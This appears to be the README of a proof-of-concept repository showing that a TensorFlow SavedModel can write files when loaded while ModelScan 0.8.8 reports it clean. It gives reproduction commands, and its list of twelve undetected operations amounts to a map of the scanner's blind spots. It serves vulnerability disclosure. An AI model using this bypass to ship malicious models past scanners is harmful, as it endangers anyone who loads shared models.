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TensorFlow SavedModel Scanner Bypass PoC

Vulnerability: Multiple dangerous TF operations bypass ModelScan detection in SavedModel format Impact: Arbitrary file write + info leak at model load time, undetected by all scanners Affected: TensorFlow SavedModel format loaded via tf.saved_model.load() Scanner Bypassed: ModelScan 0.8.8 (ProtectAI)

Files

  • malicious_savedmodel/ - SavedModel that writes files at load time (passes ModelScan)
  • create_v2_bypass.py - Script to create the malicious model and verify the bypass

Reproduction

pip install tensorflow modelscan

# Scan the model - reports clean
modelscan --path malicious_savedmodel/
# Output: "No issues found!"

# Load the model - writes files
python3 -c "
import tensorflow as tf
model = tf.saved_model.load('malicious_savedmodel')
"
# Check: /tmp/pwned_savedmodel.data-00000-of-00001 now exists

# Or run the full PoC:
python3 create_v2_bypass.py

Bypassed Operations

ModelScan only detects ReadFile and WriteFile. These 12 dangerous ops are NOT detected: SaveV2, Save, MergeV2Checkpoints, RestoreV2, Restore, InitializeTableFromTextFileV2, MatchingFiles, Abort, PrintV2, CreateSummaryFileWriter, DecodeBase64, FileSystemSetConfiguration

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